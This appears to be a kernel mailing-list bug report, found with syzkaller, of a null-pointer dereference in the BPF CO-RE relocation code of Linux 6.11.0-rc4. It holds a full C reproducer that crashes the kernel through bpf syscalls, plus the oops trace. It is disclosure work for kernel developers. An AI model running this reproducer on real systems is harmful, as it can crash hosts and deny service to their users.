* KASAN: null-ptr-deref in bpf_core_calc_relo_insn
@ 2024-08-20 9:21 Liu RuiTong
2024-08-21 1:33 ` Eduard Zingerman
0 siblings, 1 reply; 6+ messages in thread
From: Liu RuiTong @ 2024-08-20 9:21 UTC (permalink / raw)
To: stable; +Cc: regressions, bpf, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 28429 bytes --]
https://bugzilla.kernel.org/show_bug.cgi?id=219181#c0
Hello,I found a bug in the Linux kernel version 6.11.0-rc4 using syzkaller.
The poc file is
```
//gcc poc.c -o poc --static
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#include <linux/futex.h>
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i = 0;
for (; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len)
*(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off),
(bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off),
(bf_len))))
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void loop(void)
{
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
}
int i, call, thread;
for (call = 0; call < 3; call++) {
for (thread = 0; thread < (int)(sizeof(threads) /
sizeof(threads[0])); thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
if (call == 1)
break;
event_timedwait(&th->done, 50);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
}
uint64_t r[1] = {0xffffffffffffffff};
void execute_call(int call)
{
intptr_t res = 0;
switch (call) {
case 0:
*(uint64_t*)0x20004e40 = 0x20004c80;
*(uint16_t*)0x20004c80 = 0xeb9f;
*(uint8_t*)0x20004c82 = 1;
*(uint8_t*)0x20004c83 = 0;
*(uint32_t*)0x20004c84 = 0x18;
*(uint32_t*)0x20004c88 = 0;
*(uint32_t*)0x20004c8c = 0xc;
*(uint32_t*)0x20004c90 = 0xc;
*(uint32_t*)0x20004c94 = 0xa;
*(uint32_t*)0x20004c98 = 8;
*(uint16_t*)0x20004c9c = 0;
*(uint8_t*)0x20004c9e = 0;
STORE_BY_BITMASK(uint8_t, , 0x20004c9f, 5, 0, 7);
STORE_BY_BITMASK(uint8_t, , 0x20004c9f, 0, 7, 1);
*(uint32_t*)0x20004ca0 = 6;
*(uint8_t*)0x20004ca4 = 0;
*(uint8_t*)0x20004ca5 = 0x30;
*(uint8_t*)0x20004ca6 = 0;
*(uint8_t*)0x20004ca7 = 0x30;
*(uint8_t*)0x20004ca8 = 0x61;
*(uint8_t*)0x20004ca9 = 0x1e;
*(uint8_t*)0x20004caa = 0x2f;
*(uint8_t*)0x20004cab = 0x30;
*(uint8_t*)0x20004cac = 0x2e;
*(uint8_t*)0x20004cad = 0;
*(uint64_t*)0x20004e48 = 0;
*(uint32_t*)0x20004e50 = 0x2e;
*(uint32_t*)0x20004e54 = 0;
*(uint32_t*)0x20004e58 = 1;
*(uint32_t*)0x20004e5c = 0x40;
res = syscall(__NR_bpf, /*cmd=*/0x12ul, /*arg=*/0x20004e40ul,
/*size=*/0x20ul);
if (res != -1)
r[0] = res;
break;
case 1:
*(uint32_t*)0x20000480 = 6;
*(uint32_t*)0x20000484 = 0x27;
*(uint64_t*)0x20000488 = 0x20000d40;
*(uint8_t*)0x20000d40 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d41, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d41, 0, 4, 4);
*(uint16_t*)0x20000d42 = 0;
*(uint32_t*)0x20000d44 = 8;
*(uint8_t*)0x20000d48 = 0;
*(uint8_t*)0x20000d49 = 0;
*(uint16_t*)0x20000d4a = 0;
*(uint32_t*)0x20000d4c = 7;
*(uint8_t*)0x20000d50 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d51, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d51, 1, 4, 4);
*(uint16_t*)0x20000d52 = 0;
*(uint32_t*)0x20000d54 = -1;
*(uint8_t*)0x20000d58 = 0;
*(uint8_t*)0x20000d59 = 0;
*(uint16_t*)0x20000d5a = 0;
*(uint32_t*)0x20000d5c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d61, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d61, 0, 4, 4);
*(uint16_t*)0x20000d62 = 0;
*(uint32_t*)0x20000d64 = 0x14;
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d69, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d69, 0, 4, 4);
*(uint16_t*)0x20000d6a = 0;
*(uint32_t*)0x20000d6c = 0;
*(uint8_t*)0x20000d70 = 0x85;
*(uint8_t*)0x20000d71 = 0;
*(uint16_t*)0x20000d72 = 0;
*(uint32_t*)0x20000d74 = 0x83;
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d79, 9, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d79, 0, 4, 4);
*(uint16_t*)0x20000d7a = 0;
*(uint32_t*)0x20000d7c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 5, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 5, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d81, 9, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d81, 0, 4, 4);
*(uint16_t*)0x20000d82 = 1;
*(uint32_t*)0x20000d84 = 0;
*(uint8_t*)0x20000d88 = 0x95;
*(uint8_t*)0x20000d89 = 0;
*(uint16_t*)0x20000d8a = 0;
*(uint32_t*)0x20000d8c = 0;
*(uint8_t*)0x20000d90 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d91, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d91, 1, 4, 4);
*(uint16_t*)0x20000d92 = 0;
*(uint32_t*)0x20000d94 = -1;
*(uint8_t*)0x20000d98 = 0;
*(uint8_t*)0x20000d99 = 0;
*(uint16_t*)0x20000d9a = 0;
*(uint32_t*)0x20000d9c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000da1, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000da1, 0, 4, 4);
*(uint16_t*)0x20000da2 = 0;
*(uint32_t*)0x20000da4 = 0;
*(uint8_t*)0x20000da8 = 0x85;
*(uint8_t*)0x20000da9 = 0;
*(uint16_t*)0x20000daa = 0;
*(uint32_t*)0x20000dac = 0x86;
*(uint8_t*)0x20000db0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000db1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000db1, 0, 4, 4);
*(uint16_t*)0x20000db2 = 0;
*(uint32_t*)0x20000db4 = 0x25702020;
*(uint8_t*)0x20000db8 = 0;
*(uint8_t*)0x20000db9 = 0;
*(uint16_t*)0x20000dba = 0;
*(uint32_t*)0x20000dbc = 0x20202000;
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 3, 2);
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 5, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc1, 0xa, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc1, 1, 4, 4);
*(uint16_t*)0x20000dc2 = 0xfff8;
*(uint32_t*)0x20000dc4 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc9, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc9, 0xa, 4, 4);
*(uint16_t*)0x20000dca = 0;
*(uint32_t*)0x20000dcc = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 0, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd1, 0, 4, 4);
*(uint16_t*)0x20000dd2 = 0;
*(uint32_t*)0x20000dd4 = 0xfffffff8;
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd9, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd9, 0, 4, 4);
*(uint16_t*)0x20000dda = 0;
*(uint32_t*)0x20000ddc = 8;
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000de1, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000de1, 0, 4, 4);
*(uint16_t*)0x20000de2 = 0;
*(uint32_t*)0x20000de4 = 0xffff;
*(uint8_t*)0x20000de8 = 0x85;
*(uint8_t*)0x20000de9 = 0;
*(uint16_t*)0x20000dea = 0;
*(uint32_t*)0x20000dec = 6;
*(uint8_t*)0x20000df0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000df1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000df1, 0, 4, 4);
*(uint16_t*)0x20000df2 = 0;
*(uint32_t*)0x20000df4 = 0x256c6c64;
*(uint8_t*)0x20000df8 = 0;
*(uint8_t*)0x20000df9 = 0;
*(uint16_t*)0x20000dfa = 0;
*(uint32_t*)0x20000dfc = 0x20202000;
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 3, 2);
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 5, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e01, 0xa, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e01, 1, 4, 4);
*(uint16_t*)0x20000e02 = 0xfff8;
*(uint32_t*)0x20000e04 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e09, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e09, 0xa, 4, 4);
*(uint16_t*)0x20000e0a = 0;
*(uint32_t*)0x20000e0c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 0, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e11, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e11, 0, 4, 4);
*(uint16_t*)0x20000e12 = 0;
*(uint32_t*)0x20000e14 = 0xfffffff8;
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e19, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e19, 0, 4, 4);
*(uint16_t*)0x20000e1a = 0;
*(uint32_t*)0x20000e1c = 8;
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e21, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e21, 0, 4, 4);
*(uint16_t*)0x20000e22 = 0;
*(uint32_t*)0x20000e24 = 7;
*(uint8_t*)0x20000e28 = 0x85;
*(uint8_t*)0x20000e29 = 0;
*(uint16_t*)0x20000e2a = 0;
*(uint32_t*)0x20000e2c = 6;
*(uint8_t*)0x20000e30 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000e31, 8, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e31, 5, 4, 4);
*(uint16_t*)0x20000e32 = 0;
*(uint32_t*)0x20000e34 = 1;
*(uint8_t*)0x20000e38 = 0;
*(uint8_t*)0x20000e39 = 0;
*(uint16_t*)0x20000e3a = 0;
*(uint32_t*)0x20000e3c = 0;
*(uint8_t*)0x20000e40 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000e41, 6, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e41, 6, 4, 4);
*(uint16_t*)0x20000e42 = 0;
*(uint32_t*)0x20000e44 = 4;
*(uint8_t*)0x20000e48 = 0;
*(uint8_t*)0x20000e49 = 0;
*(uint16_t*)0x20000e4a = 0;
*(uint32_t*)0x20000e4c = 0xfffffffb;
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e51, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e51, 9, 4, 4);
*(uint16_t*)0x20000e52 = 0;
*(uint32_t*)0x20000e54 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e59, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e59, 0, 4, 4);
*(uint16_t*)0x20000e5a = 0;
*(uint32_t*)0x20000e5c = 0;
*(uint8_t*)0x20000e60 = 0x85;
*(uint8_t*)0x20000e61 = 0;
*(uint16_t*)0x20000e62 = 0;
*(uint32_t*)0x20000e64 = 0x84;
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e69, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e69, 0, 4, 4);
*(uint16_t*)0x20000e6a = 0;
*(uint32_t*)0x20000e6c = 0;
*(uint8_t*)0x20000e70 = 0x95;
*(uint8_t*)0x20000e71 = 0;
*(uint16_t*)0x20000e72 = 0;
*(uint32_t*)0x20000e74 = 0;
*(uint64_t*)0x20000490 = 0x20000040;
memcpy((void*)0x20000040, "GPL\000", 4);
*(uint32_t*)0x20000498 = 0xb;
*(uint32_t*)0x2000049c = 0xc0;
*(uint64_t*)0x200004a0 = 0x20000c80;
*(uint32_t*)0x200004a8 = 0x41100;
*(uint32_t*)0x200004ac = 0x38;
memset((void*)0x200004b0, 0, 16);
*(uint32_t*)0x200004c0 = 0;
*(uint32_t*)0x200004c4 = 0x25;
*(uint32_t*)0x200004c8 = r[0];
*(uint32_t*)0x200004cc = 8;
*(uint64_t*)0x200004d0 = 0;
*(uint32_t*)0x200004d8 = 0;
*(uint32_t*)0x200004dc = 0x10;
*(uint64_t*)0x200004e0 = 0x200002c0;
*(uint32_t*)0x200002c0 = 0;
*(uint32_t*)0x200002c4 = 0;
*(uint32_t*)0x200002c8 = 0;
*(uint32_t*)0x200002cc = 9;
*(uint32_t*)0x200004e8 = 1;
*(uint32_t*)0x200004ec = 0;
*(uint32_t*)0x200004f0 = 0;
*(uint32_t*)0x200004f4 = 9;
*(uint64_t*)0x200004f8 = 0x20000380;
*(uint32_t*)0x20000380 = -1;
*(uint32_t*)0x20000384 = -1;
*(uint32_t*)0x20000388 = -1;
*(uint64_t*)0x20000500 = 0x200003c0;
*(uint32_t*)0x200003c0 = 1;
*(uint32_t*)0x200003c4 = 4;
*(uint32_t*)0x200003c8 = 0xb;
*(uint32_t*)0x200003cc = 6;
*(uint32_t*)0x200003d0 = 2;
*(uint32_t*)0x200003d4 = 2;
*(uint32_t*)0x200003d8 = 1;
*(uint32_t*)0x200003dc = 0;
*(uint32_t*)0x200003e0 = 5;
*(uint32_t*)0x200003e4 = 4;
*(uint32_t*)0x200003e8 = 0xe;
*(uint32_t*)0x200003ec = 0xb;
*(uint32_t*)0x200003f0 = 2;
*(uint32_t*)0x200003f4 = 0x1000003;
*(uint32_t*)0x200003f8 = 2;
*(uint32_t*)0x200003fc = 3;
*(uint32_t*)0x20000400 = 2;
*(uint32_t*)0x20000404 = 5;
*(uint32_t*)0x20000408 = 0xa;
*(uint32_t*)0x2000040c = 5;
*(uint32_t*)0x20000410 = 3;
*(uint32_t*)0x20000414 = 1;
*(uint32_t*)0x20000418 = 0xa;
*(uint32_t*)0x2000041c = 3;
*(uint32_t*)0x20000420 = 3;
*(uint32_t*)0x20000424 = 3;
*(uint32_t*)0x20000428 = 5;
*(uint32_t*)0x2000042c = 8;
*(uint32_t*)0x20000430 = 3;
*(uint32_t*)0x20000434 = 1;
*(uint32_t*)0x20000438 = 5;
*(uint32_t*)0x2000043c = 5;
*(uint32_t*)0x20000440 = 0;
*(uint32_t*)0x20000444 = 2;
*(uint32_t*)0x20000448 = 0;
*(uint32_t*)0x2000044c = 7;
*(uint32_t*)0x20000508 = 0x10;
*(uint32_t*)0x2000050c = 0x10000;
syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x20000480ul, /*size=*/0x90ul);
break;
case 2:
*(uint32_t*)0x20000440 = -1;
*(uint64_t*)0x20000448 = 0x200003c0;
*(uint32_t*)0x200003c0 = 0;
*(uint64_t*)0x20000450 = 0;
*(uint64_t*)0x20000458 = 0;
syscall(__NR_bpf, /*cmd=*/2ul, /*arg=*/0x20000440ul, /*size=*/0x20ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul,
/*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul,
/*fd=*/-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul,
/*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1,
/*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul,
/*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul,
/*fd=*/-1, /*offset=*/0ul);
const char* reason;
(void)reason;
loop();
return 0;
}
```
And here is the crash information
```
[ 89.482115] Oops: general protection fault, probably for
non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN
PTI
[ 89.482639] KASAN: null-ptr-deref in range
[0x0000000000000000-0x0000000000000007]
[ 89.482979] CPU: 1 UID: 0 PID: 214 Comm: test Not tainted 6.11.0-rc4 #1
[ 89.483276] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS 1.15.0-1 04/01/2014
[ 89.483632] RIP: 0010:bpf_core_calc_relo_insn+0x11e/0x1e90
[ 89.483885] Code: 48 8b 85 28 fd ff ff 4c 89 ef 44 8b 70 04 44 89
f6 e8 96 a5 f8 ff 48 89 c2 49 89 c4 48 b8 00 00 00 00 00 fc ff df 48
c1 ea 03 <0f> b6 14c
[ 89.484686] RSP: 0018:ffff888108f373d0 EFLAGS: 00010246
[ 89.484924] RAX: dffffc0000000000 RBX: dffffc0000000000 RCX: ffffffff816c8b8b
[ 89.485247] RDX: 0000000000000000 RSI: ffffffff816c8bea RDI: 0000000000000004
[ 89.485563] RBP: ffff888108f376c0 R08: ffff888108f37778 R09: ffff88810991c000
[ 89.485880] R10: 0000000000000004 R11: ffff888103ab1c90 R12: 0000000000000000
[ 89.486197] R13: ffff888103ddfe00 R14: 0000000000000004 R15: ffff88810991c000
[ 89.486514] FS: 00007f94a2d15640(0000) GS:ffff8881f7100000(0000)
knlGS:0000000000000000
[ 89.486874] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 89.487128] CR2: 0000000020000480 CR3: 0000000106058000 CR4: 00000000003006f0
[ 89.487439] Call Trace:
[ 89.487553] <TASK>
[ 89.487654] ? show_regs+0x93/0xa0
[ 89.487815] ? die_addr+0x50/0xd0
[ 89.487972] ? exc_general_protection+0x19f/0x320
[ 89.488185] ? asm_exc_general_protection+0x26/0x30
[ 89.488405] ? btf_type_by_id+0xeb/0x1a0
[ 89.488584] ? btf_type_by_id+0x14a/0x1a0
[ 89.488766] ? bpf_core_calc_relo_insn+0x11e/0x1e90
[ 89.488989] ? __printk_safe_exit+0x9/0x20
[ 89.489175] ? stack_depot_save_flags+0x616/0x7c0
[ 89.489392] ? bpf_prog_load+0x151c/0x2450
[ 89.489594] ? kasan_save_stack+0x34/0x50
[ 89.489792] ? kasan_save_stack+0x24/0x50
[ 89.489987] ? __pfx_bpf_core_calc_relo_insn+0x10/0x10
[ 89.490231] ? bpf_check+0x6744/0xba00
[ 89.490415] ? bpf_prog_load+0x151c/0x2450
[ 89.490612] ? __sys_bpf+0x12be/0x5290
[ 89.490795] ? __x64_sys_bpf+0x78/0xc0
[ 89.490979] ? do_syscall_64+0xa6/0x1a0
[ 89.491167] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 89.491417] ? __pfx_vsnprintf+0x10/0x10
[ 89.491611] ? sort_r+0x45/0x5f0
[ 89.491774] ? _copy_to_user+0x77/0x90
[ 89.491954] ? bpf_verifier_vlog+0x25b/0x690
[ 89.492150] ? __pfx_sort+0x10/0x10
[ 89.492314] ? verbose+0xde/0x170
[ 89.492470] ? kasan_unpoison+0x27/0x60
[ 89.492648] ? __kasan_slab_alloc+0x30/0x70
[ 89.492837] ? __kmalloc_cache_noprof+0xf0/0x270
[ 89.493050] bpf_core_apply+0x48b/0xaf0
[ 89.493228] ? btf_name_by_offset+0x13a/0x180
[ 89.493431] ? __pfx_bpf_core_apply+0x10/0x10
[ 89.493631] ? __pfx_check_btf_line+0x10/0x10
[ 89.493830] ? bpf_check_uarg_tail_zero+0x142/0x1c0
[ 89.494051] ? __pfx_bpf_check_uarg_tail_zero+0x10/0x10
[ 89.494286] bpf_check+0x6744/0xba00
[ 89.494458] ? kasan_save_stack+0x34/0x50
[ 89.494653] ? kasan_save_stack+0x24/0x50
[ 89.494848] ? kasan_save_track+0x14/0x30
[ 89.495039] ? __kasan_kmalloc+0x7f/0x90
[ 89.495232] ? __pfx_bpf_check+0x10/0x10
[ 89.495426] ? pcpu_chunk_relocate+0x145/0x1c0
[ 89.495640] ? mutex_unlock+0x7e/0xd0
[ 89.495820] ? kasan_unpoison+0x27/0x60
[ 89.496008] ? __kasan_slab_alloc+0x30/0x70
[ 89.496208] ? __kmalloc_cache_noprof+0xf0/0x270
[ 89.496430] ? kasan_save_track+0x14/0x30
[ 89.496622] ? __kasan_kmalloc+0x7f/0x90
[ 89.496810] ? selinux_bpf_prog_load+0x15b/0x1c0
[ 89.497024] bpf_prog_load+0x151c/0x2450
[ 89.497206] ? __pfx_bpf_prog_load+0x10/0x10
[ 89.497405] ? avc_has_perm+0x175/0x2f0
[ 89.497585] ? __pte_offset_map+0x12f/0x1f0
[ 89.497774] ? bpf_check_uarg_tail_zero+0x142/0x1c0
[ 89.497994] ? selinux_bpf+0xdd/0x120
[ 89.498163] ? security_bpf+0x8d/0xb0
[ 89.498333] __sys_bpf+0x12be/0x5290
[ 89.498500] ? folio_add_lru+0x58/0x80
[ 89.498675] ? __pfx___sys_bpf+0x10/0x10
[ 89.498855] ? __pfx_down_read_trylock+0x10/0x10
[ 89.499069] ? __pfx___handle_mm_fault+0x10/0x10
[ 89.499283] ? do_user_addr_fault+0x595/0x1220
[ 89.499524] __x64_sys_bpf+0x78/0xc0
[ 89.499738] ? exc_page_fault+0xae/0x180
[ 89.499928] do_syscall_64+0xa6/0x1a0
[ 89.500109] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 89.500361] RIP: 0033:0x44ceed
[ 89.500512] Code: c3 e8 d7 1e 00 00 0f 1f 80 00 00 00 00 f3 0f 1e
fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24
08 0f 05 <48> 3d 018
[ 89.501348] RSP: 002b:00007f94a2d15178 EFLAGS: 00000287 ORIG_RAX:
0000000000000141
[ 89.501695] RAX: ffffffffffffffda RBX: 00007f94a2d15640 RCX: 000000000044ceed
[ 89.502013] RDX: 0000000000000090 RSI: 0000000020000480 RDI: 0000000000000005
[ 89.502323] RBP: 00007f94a2d151a0 R08: 0000000000000000 R09: 0000000000000000
[ 89.502635] R10: 0000000000000000 R11: 0000000000000287 R12: 00007f94a2d15640
[ 89.502949] R13: 0000000000000000 R14: 00000000004160d0 R15: 00007f94a2cf5000
[ 89.503269] </TASK>
[ 89.503376] Modules linked in:
[ 89.503586] ---[ end trace 0000000000000000 ]---
[ 89.503793] RIP: 0010:bpf_core_calc_relo_insn+0x11e/0x1e90
[ 89.504045] Code: 48 8b 85 28 fd ff ff 4c 89 ef 44 8b 70 04 44 89
f6 e8 96 a5 f8 ff 48 89 c2 49 89 c4 48 b8 00 00 00 00 00 fc ff df 48
c1 ea 03 <0f> b6 14c
[ 89.504860] RSP: 0018:ffff888108f373d0 EFLAGS: 00010246
